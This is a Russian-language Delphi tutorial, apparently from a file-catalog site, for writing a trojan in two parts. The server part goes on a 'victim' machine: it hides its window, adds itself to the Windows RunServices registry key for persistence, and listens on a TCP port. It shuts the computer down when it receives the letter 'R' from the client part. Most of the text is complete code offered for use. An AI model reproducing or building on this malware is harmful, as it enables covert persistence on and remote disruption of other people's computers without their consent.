На твоей машине (клиент)
У жертвы (сервер)
Троянский сервер:
- Перенести "MainFrom" из раздела "Auto-Create forms" в "Available forms".
- Бросить на форму компонент ServerSocket из раздела "Internet", это сервак протокола (по умолчанию TCP, и нам его достаточно).
- Свойство "Port" поменять на любое другое (желательно больше 1000).
- Поставить после "uses" слово "registry".
- "OnCreate" будет выполняться следующее:
procedure TMainForm.FormCreate(Sender: TObject);
var RegIni:TRegIniFile;
begin
RegIni:=TRegIniFile.Create('Software');
RegIni.RootKey:=HKEY_LOCAL_MACHINE;
RegIni.OpenKey('Software', true);
RegIni.OpenKey('Microsoft', true);
RegIni.OpenKey('Windows', true);
RegIni.OpenKey('CurrentVersion', true);
RegIni.WriteString('RunServices','Trojan.exe',Application.ExeName);
RegIni.Free;
ServerSocket.Active:=true;
end;
- "OnDistroy" будет выполняться:
procedure TMainForm.FormDistroy(Sender: TObject; var Action: TCloseAction);
begin
ServerSocket.Active:=false;
end;
- У ServerSocket "OnClientRead" (процедура вызывается, когда что-нибудь приходит на порт) написать:
procedure TMainForm.ServerSocketClientRead(Sender: TObject; Socket: TCustomWinSocket);
begin
if Socket.ReceiveText='R' then ExitWindowsEx(EWX_SHUTDOWN,0);
end;
program Trojan;
uses Forms,Windows,MainUnit in 'MainUnit.pas' {MainForm};
{$R *.RES}
var WhEvent: THandle;
begin
Application.Initialize;
ShowWindow(Application.Handle,SW_Hide);
MainForm:=TMainForm.Create(nil);
Application.Run;
WhEvent:=CreateEvent(nil,true,false,'et');
while (true) do begin
WaitForSingleObject(WhEvent,1000);
Application.ProcessMessages;
end;
end.
Клиентская часть:
- Бросить на форму компонент ClientSocket из раздела "Internet".
- Свойство "Port" поменять на тот, который был назначен серверу.
- В обработчике нажатия кнопки следующее:
procedure TMainForm.ButtonClick(Sender: TObject);
begin
ClientSocket.Host:=Edit.Text; // Имя
// ClientSocket.Addres:=Edit.Text // IP адрес
ClientSocket.Active:=true;
ClientSocket.Socket.SendText('R');
ClientSocket.Active:=false;
end;
Главная
Каталог файлов
